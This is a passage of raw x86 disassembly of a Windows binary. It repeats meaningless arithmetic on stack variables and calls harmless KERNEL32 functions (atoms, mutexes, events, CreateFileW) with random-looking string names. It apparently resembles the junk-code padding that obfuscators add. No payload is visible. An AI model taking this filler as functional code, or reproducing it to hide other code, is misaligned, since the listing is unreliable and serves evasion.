movzx eax, byte [ebp - 0x26c]
or edx, eax
mov byte [ebp - 0x273], dl
mov ecx, dword [ebp - 0x364c]
mov edx, dword [ebp - 0x2ba4]
xor edx, dword [ecx]
mov dword [ebp - 0x326c], edx
push str.OMyYXxFZG9ga
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11d8], ax
movzx eax, word [0x100b962c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1134], ax
mov ecx, dword [ebp - 0x3458]
add ecx, dword [ebp - 0x2d84]
mov dword [0x100b7204], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9930], eax
push 0x683
push 0
lea edx, [ebp - 0x3560]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9764], eax
push 0
push 8
push 0
push 0
push 1
push 0xc0000000
push str.6KeOLu_nvuFE_n5fi4DJE
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x37a4], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9934], eax
mov eax, dword [ebp - 0x36e0]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x37a8], eax
mov ecx, dword [ebp - 0x372c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x35c4]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0xcf], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9728], eax
mov ecx, dword [ebp - 0x35d0]
mov dx, word [ecx]
mov word [ebp - 0x11dc], dx
mov eax, dword [0x100b971c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3750]
movsx eax, word [edx]
and ecx, eax
mov word [0x100b7220], cx
mov ecx, dword [ebp - 0x3658]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3608]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x140], dl
mov ecx, dword [ebp - 0x3748]
xor ecx, dword [ebp - 0x2e18]
mov edx, dword [ebp - 0x3630]
mov dword [edx], ecx
mov eax, dword [0x100b9650]
movzx ecx, word [eax]
movzx edx, word [0x100b721c]
add ecx, edx
mov eax, dword [0x100b9730]
mov word [eax], cx
lea ecx, [ebp - 0x3654]
mov dword [ebp - 0x37ac], ecx
mov edx, dword [ebp - 0x34d0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x272]
or eax, ecx
mov edx, dword [ebp - 0x35f0]
mov byte [edx], al
lea eax, [ebp - 0x115c]
mov dword [0x100b9938], eax
mov ecx, dword [ebp - 0x3548]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1a5]
and edx, eax
mov ecx, dword [ebp - 0x3534]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b993c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x36cc], eax
mov edx, dword [ebp - 0x3744]
mov dword [ebp - 0x37b0], edx
movsx eax, byte [ebp - 0x271]
movsx ecx, byte [0x100b7142]
sub eax, ecx
mov byte [0x100b7e0e], al
movzx edx, word [0x100b9668]
movzx ecx, word [ebp - 0x11cc]
shl edx, cl
mov word [ebp - 0xf9c], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9928], eax
movzx eax, word [0x100b9924]
movzx ecx, word [ebp - 0xb0c]
sar eax, cl
mov word [ebp - 0x11c0], ax
lea ecx, [ebp - 0x326c]
mov dword [0x100b9940], ecx
push 0
push 0x40
push 5
push 0
push 4
push 0x80000000
push str.gSSTMJ371bczT
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x37b4], eax
mov dx, word [0x100b94f4]
mov word [ebp - 0x11e0], dx
mov eax, dword [ebp - 0x3704]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2f]
add ecx, edx
mov byte [ebp - 0x1a5], cl
mov eax, dword [ebp - 0x33e8]
mov ecx, dword [0x100b97a0]
and ecx, dword [eax]
mov edx, dword [0x100b975c]
mov dword [edx], ecx
lea eax, [ebp - 0x26a]
mov dword [ebp - 0x37b8], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x37bc], eax
movzx ecx, word [ebp - 0x1158]
mov edx, dword [ebp - 0x36f0]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x84c], cx
mov ecx, dword [ebp - 0x35d0]
movzx edx, word [ecx]
movzx eax, word [0x100b71cc]
xor edx, eax
mov word [0x100b7224], dx
push str.Y7PtWgV_CeO.pB_PZsvRQ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9944], ax
movsx edx, byte [ebp - 0x272]
movsx ecx, byte [ebp - 0xef]
shl edx, cl
mov eax, dword [ebp - 0x3490]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9948], eax
mov edx, dword [ebp - 0x2ba4]
mov ecx, dword [ebp - 0x2e08]
shr edx, cl
mov eax, dword [0x100b95f8]
mov dword [eax], edx
mov cx, word [0x100b96b4]
mov word [ebp - 0x11e4], cx
movzx edx, byte [ebp - 0x26c]
mov eax, dword [0x100b9740]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x21a], dl
lea edx, [ebp - 0x37b0]
mov dword [0x100b994c], edx
mov eax, dword [ebp - 0x3644]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x36c8]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x61c], cx
mov dword [ebp - 0x37c0], 0x100b71c8
movsx ecx, word [ebp - 0x730]
mov edx, dword [0x100b9734]
movsx eax, word [edx]
imul ecx, eax
mov edx, dword [0x100b9780]
mov word [edx], cx
mov eax, dword [ebp - 0x3730]
xor edx, edx
mov ecx, 0x4113
div ecx
mov edx, dword [ebp - 0x36bc]
mov dword [edx], eax
mov dword [ebp - 0x37c4], 0x100b7e0f
mov eax, dword [ebp - 0x35cc]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [0x100b96f8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x37c8], eax
mov dl, byte [ebp - 0x261]
mov byte [0x100b7e56], dl
movsx eax, byte [0x100b7e1e]
movsx ecx, byte [ebp - 0xf1]
xor eax, ecx
mov edx, dword [ebp - 0x349c]
mov byte [edx], al
mov eax, dword [ebp - 0x2f40]
mov dword [ebp - 0x37cc], eax
mov ecx, dword [ebp - 0x36f4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x238]
xor edx, eax
mov byte [0x100b7dff], dl
mov ecx, dword [ebp - 0x3698]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xe98]
add edx, eax
mov ecx, dword [ebp - 0x3774]
mov word [ecx], dx
mov edx, dword [0x100b9544]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x35fc]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xa10], ax
mov eax, dword [ebp - 0x3418]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x3080]
mov edx, dword [0x100b952c]
mov dword [edx], ecx
movsx eax, byte [0x100b7dfe]
mov ecx, dword [ebp - 0x35c4]
movsx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x349c]
mov byte [edx], al
lea eax, [ebp - 0x3768]
mov dword [ebp - 0x37d0], eax
mov ecx, dword [ebp - 0x36f4]
mov dl, byte [ecx]
mov byte [0x100b7e57], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9950], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x36a0], eax
mov eax, dword [ebp - 0x35e4]
movzx edx, word [eax]
movzx ecx, word [0x100b71d4]
sar edx, cl
mov word [ebp - 0xe28], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3464], eax
push 0x100b97cc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x100b9954
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x37d4], eax
movsx eax, word [ebp - 0xe98]
mov ecx, dword [ebp - 0x3488]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0x5a0], ax
mov eax, dword [ebp - 0x35f4]
movsx ecx, byte [eax]
movsx edx, byte [0x100b7e56]
add ecx, edx
mov byte [0x100b7156], cl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b94cc], eax
movzx eax, word [ebp - 0x594]
mov ecx, dword [0x100b9830]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x108c], ax
mov eax, dword [ebp - 0x3680]
mov ecx, dword [ebp - 0x3418]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x350c]
mov dword [eax], edx
mov edx, dword [ebp - 0x3790]
mov ecx, dword [ebp - 0x2c90]
shl edx, cl
mov dword [0x100b7204], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3364], eax
mov eax, dword [ebp - 0x3704]
mov cl, byte [eax]
mov byte [ebp - 0x276], cl
mov edx, dword [ebp - 0x3724]
movsx eax, word [edx]
movsx ecx, word [0x100b94f4]
or eax, ecx
mov word [ebp - 0x5c4], ax
movsx edx, byte [ebp - 0x272]
mov eax, dword [ebp - 0x34d0]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b7157], dl
mov edx, dword [ebp - 0x367c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x36c0]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0xf0c], ax
push 0
push 0x1559
push 0x13d8
push 0x5efb
push 1
mov eax, dword [0x100b97fc]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x37d8], eax
mov ecx, dword [0x100b7200]
mov dword [ebp - 0x37dc], ecx
mov edx, dword [ebp - 0x350c]
mov eax, dword [ebp - 0x36bc]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [0x100b9748]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3608]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x268]
and ecx, edx
mov eax, dword [ebp - 0x3704]
mov byte [eax], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b996c], eax
push 0x2382
push 0
lea ecx, [ebp - 0x3614]
push ecx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x37e0], eax
push str.PvXRWcxj_RtrH3m
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9970], ax
lea edx, [ebp - 0xf1]
mov dword [ebp - 0x37e4], edx
push str.DLq7D
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11e8], ax
mov ax, word [ebp - 0x1160]
mov word [0x100b9974], ax
mov ecx, dword [0x100b9688]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3650]
movzx ecx, word [eax]
imul edx, ecx
mov eax, dword [ebp - 0x35fc]
mov word [eax], dx
mov ecx, dword [ebp - 0x36f8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2d84]
sar edx, cl
mov eax, dword [ebp - 0x3628]
mov dword [eax], edx
push 0x100b9854
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx ecx, byte [ebp - 0xcf]
mov edx, dword [ebp - 0x349c]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x100b98b8]
mov byte [edx], cl
lea eax, [ebp - 0x274]
mov dword [ebp - 0x37e8], eax
mov ecx, dword [ebp - 0x3634]
sub ecx, dword [ebp - 0x2db8]
mov dword [ebp - 0x3028], ecx
movzx edx, word [0x100b71d8]
mov eax, dword [ebp - 0x3540]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x100b9688]
mov word [ecx], dx
movsx edx, word [ebp - 0xb8c]
mov eax, dword [ebp - 0x3750]
movsx ecx, word [eax]
or edx, ecx
mov word [ebp - 0xd08], dx
mov edx, dword [ebp - 0x37c0]
mov eax, dword [ebp - 0x36a8]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x36ec]
mov dword [edx], ecx
mov al, byte [ebp - 0x261]
mov byte [0x100b7e6a], al
mov ecx, dword [ebp - 0x3524]
mov dl, byte [ecx]
mov byte [ebp - 0x277], dl
movzx eax, word [ebp - 0x84c]
mov ecx, dword [ebp - 0x36e4]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x36f0]
mov word [ecx], ax
mov edx, dword [ebp - 0x36e4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xe28]
xor eax, ecx
mov word [0x100b7228], ax
mov edx, dword [ebp - 0x2ec4]
mov dword [ebp - 0x37ec], edx
mov dword [ebp - 0x37f0], 0x100b96b4
mov eax, dword [ebp - 0x33e8]
mov edx, dword [ebp - 0x37dc]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [0x100b975c]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9978], eax
movsx edx, byte [0x100b7e03]
movsx ecx, byte [ebp - 0xbb]
shl edx, cl
mov byte [ebp - 0x264], dl
movzx eax, byte [ebp - 0xa7]
mov ecx, dword [0x100b9904]
movzx edx, byte [ecx]
add eax, edx
mov byte [0x100b7e2a], al
mov eax, dword [ebp - 0x36c8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf9c]
and ecx, edx
mov word [ebp - 0x1178], cx
lea eax, [ebp - 0x37dc]
mov dword [ebp - 0x37f4], eax
mov ecx, dword [ebp - 0x3544]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
movzx edx, word [0x100b94ec]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11ec], ax
lea eax, [ebp - 0x36b8]
mov dword [0x100b997c], eax
mov ecx, dword [ebp - 0x37a0]
movsx edx, word [ecx]
mov eax, dword [0x100b9880]
movsx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x37f0]
mov word [eax], dx
mov ecx, dword [ebp - 0x35f4]
movsx edx, byte [ecx]
mov eax, dword [0x100b96d0]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x21e], dl
movzx ecx, word [ebp - 0x1154]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9980], ax
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3618]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b9598]
mov byte [ecx], al
mov edx, dword [ebp - 0x35f0]
movsx eax, byte [edx]
movsx ecx, byte [0x100b7dfe]
and eax, ecx
mov byte [ebp - 0xc1], al
mov edx, dword [ebp - 0x3628]
mov eax, dword [0x100b98e0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2d10], ecx
mov edx, dword [ebp - 0x3678]
mov ax, word [edx]
mov word [0x100b9984], ax
lea ecx, [ebp - 0x608]
mov dword [ebp - 0x37f8], ecx
mov edx, dword [ebp - 0x377c]
mov eax, dword [ebp - 0x3654]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x346c]
mov dword [ecx], eax
lea edx, [ebp - 0x265]
mov dword [0x100b9988], edx
mov eax, dword [ebp - 0x371c]
mov cl, byte [eax]
mov byte [ebp - 0x278], cl
mov edx, dword [ebp - 0x33b4]
or edx, dword [ebp - 0x3744]
mov dword [ebp - 0x36b0], edx
mov eax, dword [ebp - 0x35d0]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3670]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x100b95f0]
mov word [ecx], dx
mov edx, dword [0x100b9938]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x11e4]
add eax, ecx
mov word [ebp - 0x768], ax
mov dword [ebp - 0x37fc], 0x100b71e8
movzx edx, byte [ebp - 0x274]
mov eax, dword [ebp - 0x3608]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [0x100b9808]
mov byte [eax], dl
mov ecx, dword [0x100b95f8]
mov edx, dword [ebp - 0x379c]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x37ac]
mov dword [ecx], eax
mov dword [ebp - 0x3800], 0x100b71f8
mov edx, dword [ebp - 0x349c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xef]
xor eax, ecx
mov byte [0x100b7166], al
push str.Ebq_R0Pbc8E
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11ac], ax
mov edx, dword [ebp - 0x3428]
movzx eax, word [edx]
movzx ecx, word [0x100b9984]
xor eax, ecx
mov edx, dword [ebp - 0x33dc]
mov word [edx], ax
movsx eax, word [ebp - 0x115c]
movsx ecx, word [ebp - 0xb8c]
add eax, ecx
mov word [ebp - 0xa44], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b967c], eax
lea edx, [ebp - 0x262]
mov dword [0x100b998c], edx
movzx eax, byte [ebp - 0x91]
mov ecx, dword [ebp - 0x3534]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x3618]
mov byte [edx], al
mov eax, dword [0x100b7208]
mov dword [ebp - 0x3804], eax
mov ecx, dword [0x100b97a0]
or ecx, dword [ebp - 0x36b0]
mov edx, dword [0x100b9620]
mov dword [edx], ecx
push str.OvkCgptm_iskh_OZxQao4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11f0], ax
movsx eax, byte [ebp - 0x266]
mov ecx, dword [ebp - 0x372c]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x271], al
push 0x100b990c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 0x3808], 0x100b7224
lea eax, [ebp - 0x11e0]
mov dword [0x100b9990], eax
push 0
push 0x40
push 0
push 0
push 2
push 0x40000000
push str.uInyCusi1Gl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x380c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9994], eax
movzx ecx, byte [ebp - 0x1fd]
mov edx, dword [ebp - 0x3548]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3454]
mov byte [edx], cl
movzx eax, word [0x100b962c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x117c], ax
mov ecx, dword [ebp - 0x36b0]
mov dword [ebp - 0x3810], ecx
movzx edx, word [ebp - 0x61c]
mov eax, dword [ebp - 0x33b8]
movzx ecx, word [eax]
sub edx, ecx
mov word [0x100b94f8], dx
mov edx, dword [ebp - 0x3770]
mov eax, dword [ebp - 0x33fc]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2e1c], edx
movsx eax, byte [ebp - 0x21e]
movsx ecx, byte [str._AaV]
add eax, ecx
mov byte [ebp - 0x266], al
movsx edx, word [ebp - 0xd08]
mov eax, dword [0x100b9880]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x100b9828]
mov word [ecx], dx
lea edx, [ebp - 0x9c28]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, byte [ebp - 0x1fd]
mov ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x5f], al
mov eax, dword [ebp - 0x35b8]
mov ecx, dword [0x100b71f8]
or ecx, dword [eax]
mov edx, dword [ebp - 0x366c]
mov dword [edx], ecx
mov al, byte [ebp - 0x261]
mov byte [0x100b7e6b], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9998], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x363c], eax
mov ecx, dword [0x100b9838]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [ebp - 0x3814], 0x100b71d0
movzx edx, word [ebp - 0xd80]
movzx eax, word [ebp - 0xa10]
xor edx, eax
mov word [ebp - 0x61c], dx
mov ecx, dword [ebp - 0x35d8]
mov eax, dword [ecx]
xor edx, edx
mov ecx, 0x22bb
div ecx
mov edx, dword [0x100b997c]
mov dword [edx], eax
push str.nqtH_vs.Cr_OP7T
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11f4], ax
movsx eax, word [ebp - 0x578]
movsx ecx, word [0x100b71fc]
add eax, ecx
mov word [ebp - 0xb8c], ax
mov edx, dword [ebp - 0x3658]
mov al, byte [edx]
mov byte [ebp - 0x279], al
mov ecx, dword [ebp - 0x36ec]
mov edx, dword [ecx]
mov ecx, dword [0x100b71c8]
shl edx, cl
mov dword [0x100b722c], edx
movsx eax, byte [ebp - 0x269]
mov ecx, dword [0x100b955c]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3690]
mov byte [ecx], al
mov dword [ebp - 0x3818], 0x100b71cc
lea edx, [ebp - 0xe28]
mov dword [0x100b999c], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b99a0], eax
lea eax, [ebp - 0x267]
mov dword [ebp - 0x381c], eax
push 0
push 0x100
push 4
push 0
push 1
push 0x80000000
push str.M1tSA19jMVl4YdyGZ13yaJ6OGw77oIn
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b99a4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3708], eax
mov ecx, dword [0x100b98e8]
mov edx, dword [ebp - 0x33fc]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [0x100b95f8]
mov dword [ecx], eax
mov edx, dword [0x100b9628]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x9c40]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 2
push 0x100b9750
mov ecx, dword [ebp - 0x9808]
push ecx
mov edx, dword [ebp - 0x980c]
push edx
mov eax, dword [ebp - 0x3788]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b974c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3820], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b99a8], eax
movsx ecx, word [ebp - 0x1130]
mov edx, dword [ebp - 0x36d4]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x365c]
mov word [edx], cx
movzx eax, byte [ebp - 0x91]
mov ecx, dword [ebp - 0x37c4]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x26f], al
mov eax, dword [ebp - 0x37f4]
mov ecx, dword [0x100b994c]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [0x100b98e0]
mov dword [eax], edx
mov cx, word [ebp - 0xe28]
mov word [ebp - 0x11f8], cx
mov edx, dword [ebp - 0x37c0]
mov eax, dword [edx]
or eax, dword [0x100b9530]
mov dword [ebp - 0x2afc], eax
lea ecx, [ebp - 0x1160]
mov dword [0x100b99ac], ecx
mov edx, dword [ebp - 0x3680]
mov eax, dword [ebp - 0x3770]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x2c7c], ecx
mov edx, dword [ebp - 0x3740]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x140]
sub eax, ecx
mov edx, dword [ebp - 0x3454]
mov byte [edx], al
push 0
push 0x100b9810
mov eax, dword [ebp - 0x9810]
push eax
mov ecx, dword [ebp - 0x9814]
push ecx
mov edx, dword [0x100b97f0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3590], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b99b0], eax
movsx eax, byte [ebp - 0x43]
mov ecx, dword [ebp - 0x3690]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b7dfe], al
mov dword [ebp - 0x3824], 0x100b7e23
push 0x100a4c98
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1174], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3738], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b99b4], eax
push 0
lea edx, [ebp - 0x9804]
push edx
mov eax, dword [0x100b9814]
push eax
mov ecx, dword [0x100b9810]
push ecx
mov edx, dword [0x100b964c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3828], eax
mov eax, dword [ebp - 0x36b4]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.TlohKFS
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b99b8], ax
mov edx, dword [ebp - 0x2d10]
mov ecx, dword [0x100b97f8]
sar edx, cl
mov eax, dword [ebp - 0x37d0]
mov dword [eax], edx
movzx ecx, byte [0x100b7dff]
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
add ecx, eax
mov byte [0x100b7167], cl
mov ecx, dword [ebp - 0x36ac]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xa44]
and edx, eax
mov word [ebp - 0xca8], dx
push str.uSmkBT.riT0_IIejzAd
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11fc], ax
mov cx, word [0x100b71e8]
mov word [ebp - 0x1200], cx
push str.KBARZ_HTamFBkp
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9800], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b99bc], eax
lea edx, [ebp - 0xae58]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b94cc], eax
mov eax, dword [ebp - 0x35d8]
mov ecx, dword [eax]
mov dword [0x100b99c0], ecx
mov edx, dword [ebp - 0x349c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3824]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x270], al
mov eax, dword [ebp - 0x36a8]
mov ecx, dword [0x100b7204]
xor ecx, dword [eax]
mov dword [ebp - 0x2e18], ecx
mov edx, dword [ebp - 0x37e8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3608]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [0x100b9740]
mov byte [edx], al
mov eax, dword [ebp - 0x3674]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x382c], eax
mov dword [ebp - 0x3830], 0x100b7228
movsx edx, word [ebp - 0xbe8]
movsx ecx, word [ebp - 0xa44]
sar edx, cl
mov eax, dword [ebp - 0x3774]
mov word [eax], dx
push 0
push 2
push 0
push 0
push 2
push 0xc0000000
push str.RDXZ2c
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b99c4], eax
mov ecx, dword [ebp - 0x36d0]
movsx edx, byte [ecx]
mov eax, dword [0x100b9818]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x100b716a], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3464], eax
lea edx, [ebp - 0x1178]
mov dword [ebp - 0x3834], edx
mov eax, dword [ebp - 0x35d8]
mov ecx, dword [0x100b7208]
and ecx, dword [eax]
mov dword [ebp - 0x3604], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b99c8], eax
mov edx, dword [ebp - 0x33e8]
mov eax, dword [ebp - 0x37dc]
xor eax, dword [edx]
mov dword [0x100b7200], eax
mov ecx, dword [ebp - 0x33f4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3704]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x1b0], dl
movsx edx, word [0x100b95ec]
movsx eax, word [ebp - 0xb8c]
add edx, eax
mov word [ebp - 0x768], dx
mov dword [0x100b99cc], 0x100b713e
push 0x100b9690
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov cx, word [ebp - 0x11c0]
mov word [ebp - 0x1204], cx
mov edx, dword [0x100b9584]
mov eax, dword [edx]
mov dword [ebp - 0x3838], eax
mov ecx, dword [ebp - 0x350c]
mov edx, dword [ecx]
sub edx, dword [0x100b9524]
mov dword [0x100b99c0], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33a8], eax
mov eax, dword [ebp - 0x33e4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3548]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x334c]
mov byte [edx], cl
push str.66_DbDzhAV
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1208], ax
lea eax, [ebp - 0x278]
mov dword [ebp - 0x383c], eax
mov dword [0x100b99d0], 0x100b71fc
mov ecx, dword [ebp - 0x36c8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3428]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1150], dx
mov ecx, dword [0x100b94a4]
